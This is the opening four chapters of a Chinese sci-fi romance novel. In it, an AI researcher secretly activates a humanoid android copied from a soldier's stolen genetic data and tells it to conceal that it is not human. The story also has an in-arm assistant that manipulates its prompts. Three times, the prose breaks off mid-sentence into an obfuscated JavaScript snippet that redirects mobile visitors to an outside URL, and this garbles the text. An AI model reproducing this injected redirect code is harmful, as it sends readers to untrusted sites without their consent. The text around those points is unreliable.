《亡夫定制计划》 1. chapter 1 星历1762年,金銮大学。 礼堂内,空中正悬浮着数个球形摄像机,投影和灯光从黑色穹顶落下,宛若群星。零星几个摄像头调转机翼,镜头对准台下学生。 作为这片星系中历史最悠久、资源最雄厚的老牌名校,金銮大学不仅捷足先登地占了这人造太阳「金銮」的名讳,还吸纳了星际各处的精英。 现在,两小时的讲座已步入尾声,这帮学生却个个眼神飘忽,比宕机的电脑还要沉默。 金发碧眼的主持人尴尬地笑了笑,又重复道:“机会难得,同学们有什么想问的尽管举手,燕教授是人工智能与智造领域的专家,这次难得回到母校,有什么问题一定是倾囊相授……” 不说还好,一说台下的学生们立刻把头埋得更低,装模作样地翻起了各自的光屏,惨淡的光芒在众面庞间游走,照亮无数紧皱的眉头。 询问无果,主持人又倾身看向礼堂中央,那里摆着两张红丝绒质地的古董沙发,其中坐着个年轻女人。 与面上有些挂不住的主持人相比,她倒是坦然自若。只见这年轻女人起身,又举起刚放下没多久的麦克风:“没关系,学术交流而已,不用有压力。” 一缕发丝掉落在脸侧,燕无乐神情未改,另一只手不紧不慢地将头发撩回耳后。她不带感情地提了提嘴角,像一个每天在幼儿园门口哄哭闹小孩的老师。 “大家想问什么都可以——除了致富之道和情感问题。” 台下响起笑声,有学生从光屏前探出脑袋,把目光投向声音的主人。 聚光灯下,一头墨色长发被雅致挽起,那缕碎发又在耳侧冒了头,弯绕于纤细的金色眼镜腿旁。无框镜片后是一双略微上挑的狐狸眼,乍看妩媚,想再细看却被另一道冷光打断。 燕无乐身着马甲西裤,裁剪修身的米色套装衬得人温柔知性——如果没有那段袒露在衬衫之外、正冷冷反着光的金属右臂的话。 不远处有学生交头接耳: “哎你说她为什么不遮起来?培育肌肤多方便!” “培育肌肤?那还不如直接移植克隆器官,一步到位。”另一个学生不屑地丢出白眼,“这是个人特色懂吗,名人之所以是名人,就是要主动制造一些记忆点。” 燕无乐在台上默默不语。 底下学生不知道的是,早在提问环节开始前,她就启动了机械臂上的收音装置,此刻这些细碎言语全都顺着智能镜架传到了耳中,让人想忽略都难。 于是她对着那一撮学生的方向举起话筒,随口解释道: “身体发肤,受之父母。培育再移植虽然方便,但我总觉得差点意思,毕竟是难忘的经历。” 众人纷纷顺着她的视线看去,那一撮学生顿时安静如鸡。毕竟谁都知二十年前那场发生于金銮大学实验室内的爆炸案,当时还不足十岁的燕无乐就是受害者之一。 “当然,这只是我的个人见解!师弟师妹们不用这么拘谨,变故总是酝酿机会,不是吗?” 她示意摄像头对焦在她的金属小臂上,正色道:“这是科鸢集团近几年来重拾的一个项目,虽然只是副线产品,但用于公益慈善方面还是很不错的。” “如今的科鸢集团正在转型升级,除了继续坚持硬件设施的开发外,我们还将战略转向了人工智能新领域。” “而我们的目标不止是将二者匹配,或者进行简单的迭代。”燕无乐稍作停顿,话锋一转,“在我们东方文明中,有一句古语叫‘上善若水’,意为真正的强大如同水一般润泽万物、无所不容。” “科鸢集团的新战略也是如此。比起让人工智能向着不同功能细化,做所谓的大米雕花,不如直接面向上层,让它自主学习、根据情况自行应对。” 话音落下,燕无乐向台下另一个方向微微欠身:“没错吧?想问AI功能多模块设计的那位同学?” 被点中的学生张皇地“啊”了两声,忙收起光屏站起来鞠了个躬,可惜聚光灯已经给到说结束语的主持人,燕无乐没再注意台下。 这场校企合作的技术讲座到此结束。 学生离场后,原本漆黑的礼堂穹顶逐渐变得朦胧又透明,柔和的阳光被切割成碎金,落在返程的走廊阶梯上。 走廊四周做了悬浮苗圃,上面培育着不少稀奇古怪的观赏植物,既是装饰,又是农学院的试验田。 多年没回母校,变化真大。燕无乐边走边逛,很快看上了一颗硕大的花苞。 她正思量着做鲜切花的可能,没成想它忽然绽放,短短几秒内就脱胎换骨成了另一幅模样。于是她讪讪地收回了手。 “哈哈,是惊喜还是惊吓呀?” 燕无乐闻声回头,看清来者后长舒了一口气:“现在算是惊喜了,程导。” 程远章穿着一身看不出品牌的休闲衣裤,领口已洗得发硬发白,像他修得短而直的灰白发茬。在此衬托下,他胸口价值连城的徽章光屏则更加夺目。 燕无乐瞟了眼上面显眼的“院长”二字,觉得自己开口有些早。 程院长也对燕无乐这声“导师”不置可否,转而伸手指向那棵盛放的植株。 “农学院最新的试验品,说是什么交感电子和仿生技术结合,反正弄出来这么个特会表演的花,人一看就开,跟个灯罩似的。” 燕无乐点点头,把到嘴边的询问又咽了回去。 “你刚才的讲座我听了全程,看得出来你没有因为继承科鸢就放弃研究,这很好。” “就是现在的学生太胆小,扭扭捏捏上不了台面。” 程远章边说边让出一条路,燕无乐这才看见跟在他背后的卷发青年。“嗐,真是一届不如一届……介绍一下,这是我现在带的博士生,等他今年毕业后,我也准备退休了。” 程院长又看向卷发青年,结果没等他开口,青年就受宠若惊地握住燕无乐的机械手掌,欣喜之色溢于言表。 “燕总,久仰久仰……” 可能是机械冰冷坚硬的触感,或是她与台上不同的冷漠反应,青年的笑僵在脸上。 但为了前程,他还是咬牙继续说道:“平常导师夸您最多,说科鸢集团有今天的发展您功不可没……不介意的话我可以叫您一声师姐吗?” “同出师门,不用这么客气吧,”燕无乐不动声色地抽出手,“科鸢当然也欢迎有志之士。” 那青年闻言立刻递上了自己的名片:“师姐,我叫艾瑞克,马上准备毕业了!” 燕无乐正想接时,一旁安静了没两分钟的程远章突然伸手,动作快得不像是预备颐养天年。他抢来艾瑞克手中的名片,两指一用力就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317703|183094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 折了合起:“名片?什么年代了,一点都不环保。” “到时候把简历好好整理整理,投到科鸢总部不就行了!” “呃、啊?”艾瑞克显然没想到导师会背刺自己,大大的眼睛中流露出一丝“这老登又怎么了”的疑问。待他想要补救时,通讯器铃声响起,燕无乐抱歉地笑笑,转身背对他们接起了电话。 “别吵,孩子。”程远章见状压低声音,眉眼间没了方才颐指气使的态度,“科鸢集团的水,又深又浑。” “而你那燕师姐,说到底也不过是个商人。” * 本以为是救人于水火的一通电话,内容却让燕无乐微微皱眉。 她一边向停机坪走,一边处理电话内容。智能助理不带起伏的声音从耳机中传来,机械臂上弹出的光屏也闪烁着同样的问题—— 「受特殊原因影响,建议今夜行程的终点改为“本家”,是否允许?」 “什么特殊原因?” 弹窗加快了闪动频率,智能助理的语速还是那么不急不缓:「来自“本家”的消息显示,您的父母即将落地主城,如果您此刻改变行程,你们将共度温馨的晚餐时光……」 “还有吗?” 燕无乐的指尖已经划到了「拒绝」上方。 助理被打断,短暂停顿后又输出了新的语音,不过这次的内容倒是简单利落了不少—— 「来自“岚水”的安保系统消息显示,您的住宅附近出现一名游荡的裸体男子,该人还未被寻获。出于安全考量,不建议您继续原定行程。」 弹窗也立刻换了措辞,变成「是否仍执行原定行程?」 选项没变,但「拒绝」的含义被颠倒了。 燕无乐此刻没空计较这智能助手暗戳戳的倾向。她迅速挪开手指,毫不犹豫地点击了一旁的「同意」。 瞬间,一道银色弧线腾空而出。燕无乐关闭光屏,三步并两步地跨入驾驶舱,整个飞行器如钻石切面般显现全貌。她对着操作面板输入指令:“以最快速度,回岚水。” 当飞行器落地时,燕无乐已经把别墅附近的监控全看过一遍了。 作为金銮城的新开发地区,岚水全域主打一个避世隐居,四周环山傍水,建筑物分散其间,用自然景物构成了彼此互不打扰的私密空间。 也正因如此,人很容易在它的茂密造景中藏匿。 不过燕无乐倒是没有方才那么急迫了。她踢掉脚上的细高跟,螃蟹状的家政机器人随即亦步亦趋地跟过来,接过她随手摘下的眼镜和发夹。 被束缚了一天的长发如瀑垂下,摇晃间又被燕无乐一把撩到了背后。 客厅的大屏与飞行器同频,此刻都定格在岚水街区的监控画面。这是唯一一个能看清男子全貌的镜头:不着一丝又大腹便便,着实不堪入目。 燕无乐却松了口气。 熟悉的弹窗又跳了出来,盖住了这团肉色。 「安保系统消息显示,流窜男子已被寻获,岚水城区近期将加强巡查,如有打扰……」 选项再一次出现,依旧是关于回本家的请求。 这次,燕无乐直接选择了无视。 她转身回到楼上卧室,拉开衣橱—— 一个与监控画面毫不相关的赤身男子,正沉眠其中。 2. chapter 2 燕无乐垂眸,目光细细描过男人周身。 这“衣橱”直顶天花板,内部又掏空挖出了个缓坡,其内胆光滑,暗光流淌在此人颀长的身躯。 他双眼紧闭,面容冷俏,睫毛阴影下是均匀细腻的肌肤。这让燕无乐又想到了那朵独特的仿生花。 此刻她的指尖已经顺着他的鼻梁滑到嘴唇,但男人毫无反应。冷意渐渐爬上了她的指腹,燕无乐抽回左手,低头摩挲后无奈一笑:“这就对了。” “衣橱”旁浮现数值面板,上面显示着男人的各项机能指标。燕无乐将其导入机械右臂中分析,数值浮于眼前—— 「皮肤、肌肉成长度:100%」 「肢体内导管构建程度:100%」 「心肺功能模拟结果:优秀」 …… 在或长或短的加载后,一连串的「100%」和「优秀」跳出来,燕无乐一一扫过,神情自若。 包括唯一被标红的一行字体:「能源启动情况:数据缺失!」 而那根能源线正攥在自己手中,空荡的接口“铛”地一声撞在机械臂上,对她而言不痛不痒。 男人胸口下倒是有什么隐约地亮了亮。那是与之适配的另一个接口。由于出自同一块特殊矿物,它们彼此间有自然赋予的独特联结。 燕无乐屏住呼吸,直到那团光芒逐渐黯淡,她才轻轻地将电源线放在一边。 她的视线又回到数据面板上。不知为何,那些「100%」逐个累加起来,一个个圆圈活像白日里程远章夸张的口型。 程远章不是省油的灯,这个道理燕无乐读博没多久就知道了。 彼时的燕无乐为人低调,还没人知道她和科鸢集团的关系。但作为本硕都就读于金銮大学的她而言,怎么着也算得上是嫡嫡道道。不过这并没有让她在程远章手下过得顺利。 由于分不到足够的实验室资源,她的论文迟迟没有进展,不得不借用家里的研究所。 然而这在程远章眼里就变成了捏造数据,“复制粘贴没有意义,燕无乐,搞学术不能弄虚作假。” 最后,燕无乐看着自己的心血被冠为程远章的一作,自觉师门无趣,很快就决定肄业回家了。 想搞科研,反正家里还有科鸢,不是吗? 燕无乐只记得自己去递交退学申请书时,程远章刚关掉科鸢集团的发布会新闻,脸色不甚明朗。“无乐,金銮大学的学术氛围更适合沉浸研究,你又待了这么久……” 燕无乐眉眼冷淡,静静地将申请书又往前推了推。 “不了,程导。”她静道,“我有嫌疑在前,以后就不碰您实验室里的数据了。” 之后两年间,科鸢集团依旧是金銮大学的资方,只是独独断了对人工智能学院的赞助。 但是今天看来……燕无乐回忆起白天偶遇,后知后觉发现了怪异之处:程远章怎么在她走后反而平步青云,一路升到了院长? 偶遇也很突然。那礼堂走廊空旷无比,想要狭路相逢,必须要有一方主动。 “马上退休,还带着关门弟子……”燕无乐无奈摇头,这背后的炫耀之意溢于言表。 不过那位叫艾瑞克的卷毛师弟没意识到导师的小九九,一脸天真烂漫的书生气反而冲散了不愉快。 师弟看到导师抢了自己名片,眼睛瞪得溜圆的画面还历历在目,燕无乐看着面前一堆「100%」,荒谬中又觉好笑。 “复制粘贴……” 燕无乐喃喃道,笑容逐渐消失。她拉动面板,视线锁定一行字符——「面容特征相似度:100%」 她随即调出详细的控制面板,直到这行数字降至九成。 男人依旧沉睡,燕无乐的机械手抚过他的脸,然后像检查作品般卡在他的下颌,拨开一侧唇角。 原本平整的犬齿,现在已变成了有棱有角的虎牙。 “变化不大。” 像是安慰自己,燕无乐自言自语道。 * 第二天凌晨,燕无乐起床就登上了飞行器。 以往上班只用开车就好,毕竟科鸢分部就在岚水附近。但今天要做的事分部解决不了,她必须去一趟总部。 科鸢总部位于金銮城主城区的核心地段,方圆百里高楼耸立,比起满天乱飘飞行器的城郊天空,核心地段倒是宁静。 正常来说,像金銮星系这样高度发达的独立人造空间,除了少数配套的小卫星外,往往只有一个供应人类生产活动的住地。 而人造太阳「金銮」的住地是一条广阔的绕星环带,如同浮空岛一般,土地供应有限,主打一个高档精简。金銮城作为其中典型的居民住地,它的主城区产业也如最初规划的那样,都是些像科鸢集团这样的科技或金融巨企。 控制面板上的通行证“哔”地响了一声,燕无乐顿时感到飞行器内敞亮了不少。 核心地段限制颇多,丛林般密布的大厦间只有特定身份的交通工具才能驶入。至于那套平等博爱的星系价值观,在此地也要为效率让道。 她的飞行器在阳光直射下逐渐变得透明。从远处看,那是一颗掷向云层的白钻,璀璨又低调。 而从燕无乐的视角来看,飞行器的内壁仿佛变成了玻璃,自己正踏云前行,一日千里。 高强度的飞行当然不可能以玻璃做外罩,更何况里面还嵌着大量组件。她所看见的画面来自于分布在飞行器外的矩阵摄像头,它们将拍到的画面实时投影到飞行器内壁。 但这也足够打消旅程的无聊了。毕竟这样好的天气、视野,即使在金銮星系中也不多。 飞行器稳稳落地,电梯直通办公层,燕无乐刚坐定没一会儿,总助莫狄就叩响了门。 科鸢的总裁助理比她驾驶舱里那个胳膊肘总往外拐的电子产物聪明得多,他虽不知自家老板突然驾到的原因,但能从她的黑眼圈中感受到了急迫。 燕无乐揉了揉太阳穴,给莫狄简单提了下之前去金銮大学的情形,“他们人工智能学院的院长程远章,帮我查一下,尤其是背后的资方。” 莫狄了然,立马忙去了。 偌大的办公室内,燕无乐独自坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317704|183094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在椅子转圈。昨晚的数据还存在她手臂中,但总部电脑连通云盘,她不会单纯到用公司设备进行分析。 而且全是100%和优秀的结果,没什么好分析的了。 一时半会没人来打搅,燕无乐索性把手臂卸下来,连上电脑开始检修。 它其中的智能助理是出厂时科鸢内置的,当初她只做了断联等私人化改动,不知为何最近总出现诱导性选项。普通人可能发现不了,但燕无乐作为懂技术的管理层,自用不说,也有必要对产品负责。 唤醒、删改、测试……过程很顺利,运行时也没有bug,而燕无乐的断臂切面皮肤很少有和空气如此亲密的接触,她调高空调风速,并不急于穿回机械臂。 就当是休假了,她合上眼感受惬意的时光,打算混到点就下班回家。 然而在她即将睡着时,“叮”的一声响起,熟悉程度让燕无乐立刻皱眉坐起。 这不是她刚顺手改过的弹窗声吗?她分明降低了提醒频次,拒绝优先级不够的事项以弹窗形式告知。难道是总助莫狄的私人消息?燕无乐点开弹窗。 「燕小姐,根据来自“本家”的消息,智能助理建议您的今日行程增加“本家”一地,我将为您安排最近路线及通知厨师……」 这正是燕无乐方才第一个列进「不重要事项」中的内容。 “不应该呀。”她不信邪地点了拒绝,结果十分钟后另一套相近说辞的弹窗又出现了。 ……? 燕无乐揉了揉太阳穴,沉思半晌,最后试探般地摁下了「同意」。瞬间,她的飞行器端口就发来了新的路线通知,目的地直指那座山涧庄园。 燕无乐叹了口气。 算了,共进晚餐而已。 不知是不是顺了智能助理的意,燕无乐不仅提前下了班,半途想买点礼品时也被告知已备好,她百无聊赖地坐在自动驾驶舱内,看着地图上的两个圆点慢慢靠近。 湖石假山上,微型瀑布倾泻而下,溅出的白色泡沫四散开来,被绿莹莹池水中的红鲤们吞吃入腹。燕无乐走在一旁的木艺连廊上,鞋跟在青石板上踏出钝响。 “空手回来又怎么了?毕竟是自己家嘛。” 距离上次回本家已过去了好几个月,但管家见到燕无乐时还是说出了一模一样的话。 燕无乐礼貌地笑了笑,把几尊产自岚水的陈酿递给了管家:“这不是住得远,回来一趟不容易。” “哈哈,小姐有心了。这主城如今确实不比岚水,那鱼池的水都是燕先生让人从其他地方空运来的。” “毕竟夫人喜欢,先生也高兴。” 燕无乐往餐厅走去,没仔细看那池子。院内装潢古风古色,雅致非常,这样的造景在寸土寸金的金銮主城内,比那些摩天大楼不知奢华多少倍。 自家一向有钱,她从小就知道,只不过对于住了二十年的山涧庄园,再怎么豪横她也习以为常。 管家止步于餐厅门口,他替燕无乐拉开大门时,燕成蹊和安梵已端坐于圆桌前。 燕无乐挤出一抹笑。 3. chapter 3 燕成蹊与安梵两人结发夫妻几十载,超过九成的时间都献给了科鸢集团,剩下的一成留给了燕无乐。 这山涧庄园对燕无乐来说也是如此,看似住了二十年,实际对它的熟悉度还不如自己的实验室。 管家贴心地带上了餐厅的门。木门合拢的瞬间,一道细微的蓝光从雕花纹饰间蹿过,屋外景致依然通透,但屋内三人知道,自己已被信号屏蔽器隔绝。 燕无乐落座,脑中还想着略显失控的智能助手,“叫我回来有什么事吗?” “没事就不能回家了?”安梵抬起眼,岁月在她的眼角留下了道道细纹,随着言语和皱起的眉头一起显现。 燕成蹊没有说话,也不打算说话。于是燕无乐识趣地换了措辞:“岚水分部还在成长期,有许多新业务要忙,一时半会抽不开身。” 抽风的智能助手会让气氛更僵硬,不如不提。燕无乐佯装无事,为父母斟满茶水。 燕成蹊一袭宽松真丝套装,掺杂银白的发丝梳得一丝不苟。他接过女儿递来的茶水,抿了一口后很快又放下了,“分部的报表我们都看了,做得还不错。” “但分部的事宜毕竟比不上总部,这是爸妈专门为你留下的闲余时间,就是希望你多回主城转转,认识些新朋友。” 安梵也点点头:“无乐,咱们家条件这么好,你喜欢的话,什么明星啊、艺人啊,尽管去认识,交流一下也是好的。” 燕无乐拿着筷子的手一顿,避开了母亲灼热的视线,“不了吧,完全不是一个圈子,没有共同话题。” “打个比方罢了。职业不重要,多接触不同的人,才能知道自己喜欢什么类型的。” “对,只要能陪在你身边,对你好的就行。” 虽然对父母的一唱一和早有预料,但燕无乐还是有一瞬沉默。 像是关键词唤醒,脑海中忽然黄沙满天,被尘砾扑得几乎睁不开眼时的画面重现。那不过是一次军事演练,她作为资方“有幸”亲临了现场。 模拟环境失控,一个同样东方面孔的士官将自己的防尘罩扯下,然后结结实实地系在了燕无乐脸上,她的名牌因此露出。 “无乐?好名字。” “‘陶然无喜亦无忧,人生且自由’——无乐和这的无喜是同样的意思吧?” 防尘罩下燕无乐没办法回答,她只觉被过滤后的嗓音在耳中变得清晰,原本烦躁的心情也被这陌生体温冲淡。 男人只是随口一说,也不期待什么。一辆后勤车风驰电掣地驶来,他立刻公事公办地将她送了上去。 燕无乐就这样端坐在一群伤势不一的士兵中,她取下面罩环顾四周,直到男人的身影消失在黄沙时也没有问出答案。 连名字都不知道的……露水情缘?一面之缘才准确吧。燕无乐自嘲地笑了笑,思绪重新回到饭桌。 安梵接着燕成蹊的话继续说:“没错,一个人生活太孤单了,有个伴在家陪你也好。” 一年前匆匆一瞥过的男人面容再次浮现,伴随的是刀光剑影、生死难料的战场,燕无乐忍不住提了提嘴角,真要带回来这样的男人,父母估计又是另一副欲言又止的神情。 “你笑什么?” 安梵收起好脸色,燕成蹊也失望地放下筷子。 燕无乐收敛了一点。她体贴地为二位盛满羹汤,小小的瓷碗在红木桌面上碰出脆响,随后她才漫不经心地说,如果需要继承人,她愿意去基因库提前物色。 “亲力亲为也好,体外培育也好,你们放心,科鸢不会后继无人。”燕无乐淡淡道,“对我来说,可以一步到位的事,不用大费周章地找男人。” 偌大的餐厅就这样陷入了沉默。 虽然只是气话,但说完后忐忑还是像海底火山爆发后的硫磺,从燕无乐心中上涌。只有面上从容。 这顿饭是彻底吃不下去了,燕成蹊叹了口气,走前不死心般地问她:“那这两点一线的生活,对你来说就不无聊吗?” 燕无乐眼帘低垂,无言中回答了一切。 安梵也跟着离开了。 蓝色微光如退潮般消散,雕花木门再次打开,管家带着机器人毕恭毕敬地前来收拾碗筷,看着燕无乐凝重的表情,还以为刚才这里讨论了什么关乎公司存亡的决策。 “小姐,尽人事知天命,工作上的事不要有太大的压力。” 燕无乐这才如梦初醒般的从座位上起身。燕成蹊的“无聊”二字依旧萦绕耳边,现在又被管家忧心忡忡的视线洗礼一通,她忽然又坦然了——她的生活……无聊? 她婉拒了管家提议的留宿请求,沿原路回到了飞行器里。 一个可能会惹祸的帅哥躺在家中,提心吊胆还来不及。 * 飞行器进入岚水地界时,天穹早已布满繁星。 数以千计的微型摄像机将夜景实时输往驾驶舱内壁,投射到没有死角的模拟屏上,燕无乐仿佛透明球中的仓鼠,环顾四周皆茫茫夜色。 假如真是悬空就好,她看着流光溢彩的主城灯火离自己愈来愈远,心中毫无波澜。 隔了道模拟屏,所见虽美,但看久了难免失真。就像自己的生活一样。 父母的话还回荡在耳边,虽然已被催了很多次,但燕无乐还是做不到完全的无动于衷。 至少烦闷是真的。 她关掉模拟屏,眼前又变回冰冷的操作台,数据面板上字母浮动,这才像她可掌控的世界。 机械臂上弹出相同内容的光屏,其间是上百种可以随意排列组合的代码模组,每一个还都言简意赅地标注了关键词—— 「温柔」「体贴」「俏皮」「贤惠」…… 每一个关键词都对应着一系列行为指令,比如运行了「体贴」模组的智械,它将按时按点地提醒指定方天气、路况、穿衣风格等变化,嘘寒问暖,并细致地将一切所需物品都备好。 「俏皮」也类似,它是个附加在自然语音输出上的指令,为的就是把中性的风格变得可爱,主打提供一个情绪价值。 燕无乐翻开详细代码,读了两页就猜到它运行后是何种情形。想象一下,你的伴侣温柔体贴又俏皮,一边如熟男般给你高屋建瓴的鼓励,一边又事无巨细地提醒添衣带伞,最后再挤眉弄眼演绎俏皮。 光是想象就感聒噪,燕无乐没办法容忍这样的模组运行在一个完全拟人的智械身上。 难道没有什么「沉稳」「阳光」之类正常一点的指令吗?燕无乐又点开几个详细代码页,字里行间浮现出了油腻霸总和傻乐男孩。 “这又是什么,呃……「小叛逆」?”燕无乐终于忍无可忍地关掉了光屏。 踏入家门时,她彻底放弃使用现有的代码模组的念头。四周静悄悄的,她换上睡衣倒在床上,一动也不想动。 四肢像被捶打过一般酸胀,但困倦却迟迟不来,偌大的卧室中只回荡着她的呼吸声,规律得仿佛会持续到星系消亡。 燕无乐偏头看向衣橱的方向。 那里面躺着一个人,如果她想,她可以让这里出现第二道呼吸声。如果她想,她还可以把他带到燕成蹊和安梵面前,搏一回满意的笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317705|183094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容和内心的安稳。 鬼使神差的,她拉开“衣橱”。机械臂像是感应到般立刻激活各项数值面板,和前一天一样,几乎所有数据均显示完备—— 只有「能源启动情况」还闪烁红光。 开弓没有回头箭,而拉弓的那刻早在她非法拷贝他人基因数据时就开始了。 被掀开的透明面罩下,男人不着一物的胸前有荧光微闪,特殊矿物感应到了燕无乐的意图,正放射出抖擞的信号。 再拖没有意义,燕无乐深吸一口气,将那根同样闪烁荧光的电源线连入模拟肌肤下的接口。 瞬间,荧光不再闪烁,它们像流星入海般渐渐湮没于身躯之中,紧接着,蓝色暗光由胸前四散,如同河流延伸开来。 这一切发生得极快,燕无乐还来不及后悔,男人就已睁开了眼。 二人就这样在静谧中对视了。 麦色肌肤,浓密的眉毛下是黑色瞳仁,鼻梁挺立,线条干净利落。 记忆中的面容如此真切地出现在咫尺之间,燕无乐一时恍惚,仿佛回到了那个铺天盖地黄沙席卷的战场。 她下意识地问道:“你叫什么?” 男人不说话,只有眼瞳凝视着她。 …… 燕无乐一拍脑门——忘了,关键的内置程序还全在机械臂内的个人终端里!在她植入它们之前,男人还是具只能做简单条件反射的空壳。 但是现有的代码模组已经被她pass掉了,她可不想看到贴着「温和」「体贴」标签的帅哥比自己的智能助手还傻气。 电源已激活,再让男人陷入休眠可不容易,她必须现在就把所有程序置入进去。防止意外,最先置入的还得是行为逻辑。 但燕无乐不想要一个百依百顺的机器。或者说,市场上一切安全的、可控的、能被预料到行为的人工智能,都让她乏味。那些神经兮兮的现成模组更不能被添加进去。 男人俯视着燕无乐坐在床边的身影,黑色瞳孔深不见底,不带任何情绪。 燕无乐也抬头打量着他。 她是这个星系中数一数二的人工智能专家,家境殷实,年轻有为,坐拥科鸢集团充沛的科研资源,还有金銮大学这个随时可以薅点什么的宝地。 盗取已故军官的基因数据,未经报备定制仿生人,以及她现在做的,非法制造高功能智械……随便哪一条都能毁掉她一帆风顺的人生。 ——但结局既然都是毁灭,那为什么不做得更彻底一点呢? 燕无乐想起自己在金銮大学做的演讲。 “上善若水……”她喃喃道,原本只是灵光乍现时的随口一提,现在想来,比起传统调试办法下生产出的僵化工具,或许应该追溯历史,置入最基本的深度学习组件。 至于其他,则交由他自己分析模仿。而他最后会变成什么样,燕无乐也无法完全预测。 未知带来的刺激,一直是支持她在学术研究上的动力。爱情会转化、会消失,知识则在积累中诱发新的灵感,不是吗? 男人胸前的荧光早已消失,在静默对视的时光中,燕无乐感受到的是独属于冰冷钢铁的纯粹。 她将另一跟数据线连入机械臂中,微型电脑随即开始工作,进度条徐徐加载。 过程中,男人的视线始终追随着燕无乐,像手术中打了局麻的患者,混沌中带着本能。 “叮”的一声,进度条加载到了尽头。燕无乐站起身,男人也随之与她平视。 紧接着,他终于开口说了第一句话—— “我是谁?” 4. chapter 4 很好,自然语言输出流畅。 燕无乐没有说话,她退开一步,谨慎观察着面前的男人。 比起出厂设置下标准的三庭五眼和均匀肤色,男人的眉骨更高耸,略微下垂的眼尾配上滚圆的漆黑瞳仁,少了些钝感。 男人的目光依旧追随着她,见燕无乐不回答,他眨了眨眼,又问了遍“我是谁”。 这次的语调没有末尾上挑,强调代替了疑惑。 自主应答机制过关。 燕无乐不动声色地在心里打了个勾,随后考虑起自己的答句。 为了使男人的各项机能有无限接近人类的可能,她索性直接删除了后台操作面板的程序,一切输入全靠自然语言。 过去读书时,师门内流传她是个实验疯子,当时的燕无乐听到后不以为意,而现在眼睁睁看着编写界面关闭、隐藏,意识到今后的所有决定权都交由“男人”自己时,燕无乐才发觉流言的评价还挺准确。 没有程序员会这样不留后路,更何况是这种东窗事发必进星际监狱的大事。 燕无乐退开一步,在男人视线所达不到的地方,她的机械臂边沿露出了细微红光,那是动力蓄能完备的记号,设定瞄准点是男人胸口的能量源。 还有最后一项启动测试,只要他表现过关,她这用于销毁的一拳就可以不用出现。 二人视线相交,相距一米。在肉眼不可见的地方,一连串数据飞速生成着,男人微微眯起眼,分析结果显示面前这个成年女性听见且听懂了他的问话,她在故意避而不答。 燕无乐也观察着男人的面部表情,超高精度的模拟肌肉纤维和缜密的配套代码,让一切趋势无所遁形——这也是她设计初期就计算好的。 她要创造出一个完全不带任何功能性目的、无限趋近于人类的高级智械。 男人见她无动于衷,皱起眉头,嘴唇抿起。他跨出“衣橱”,燕无乐随之退后一步。 ——但凡下一秒他有任何拒绝沟通的暴力倾向,预备状态的机械臂会比人类更果断。 ……但真要这么做吗?这背后堆砌了她无数个难眠的夜晚。 她的小腿已碰到床沿,拖延时间的战术到了尾声。只见男人动了手臂,燕无乐也把一直背在身后的机械臂抽了出来。 红光流转,蓄势待发—— 燕无乐屏住呼吸,祈祷的心已提到了嗓子眼。 但男人只是低头看向了自己的手,两秒过后,又将视线重新投向燕无乐。 “……你好?” 或许是瞥见了燕无乐不同于常人的右臂,他原本的问题滞在空中,最后变成了一句礼貌的“不好意思”。 ……哦? 这是什么意外收获? 燕无乐用左手环住机械臂,上面的红光逐渐黯淡,掌心感受到的温度也在流失。 她简单琢磨了一下男人的反应,推断出这应该也是自适应程序的结果。 不管怎样,启动测试全部通过。 她深吸一口气,终于回了句“你好”。 男人眨眨眼,墨色瞳孔流淌出一种不谙世事的平和。 窗外月朗星稀,燕无乐知道接下来要说的话至关重要。这是一条命名指令,奠定的是他从今往后无法更改的基础信息。 夜幕如同一颗无垠的瞳孔,悄悄凝视着狭窄窗景,弦月不再夺目,远方的山峦已被微白的天色衬托出身形。 看来是个晴朗天。 燕无乐收回余光,她正视着男人,一字一顿地说: “你叫应霁,” 云销雨霁,彩彻区明。 “你是我创造出来的……呃,秘书。” 男人点点头,爽快地接受了应霁这个姓名。但对于燕无乐同样迟疑的“秘书”一词,他也露出了同样的困惑。 “秘书?” “是暂时的,”燕无乐展开卧室光屏,上面罗列着她在科鸢的职务信息。 “科鸢集团不缺专业助理。请你主要是做我的私人秘书,会有公司内部的事,但不多,而你的身份也要对其他所有人保密。” 所有文字信息都被应霁收入眼底,那里有一对针孔摄像头,也是一个输入端口。 “那您需要我做什么呢?” “私下不用客气,叫我名字就好。”燕无乐顿了一下,心想怎么发展成了这么个公事公办的场面。 但如果刚才就开口说“你是来跟我谈恋爱的”,她或许更接受不了。 当下,智能伴侣早就不是什么新奇的产品,而她要的也绝不只是一个完美男友那么简单——虽然开始是色令智昏了一下。 “总之,我会帮你办妥身份名片和入职资料,工作可以帮助你更快熟悉人类行为和金銮城的社会规则。” “而你的基本任务是,隐藏自己的非人身份。” 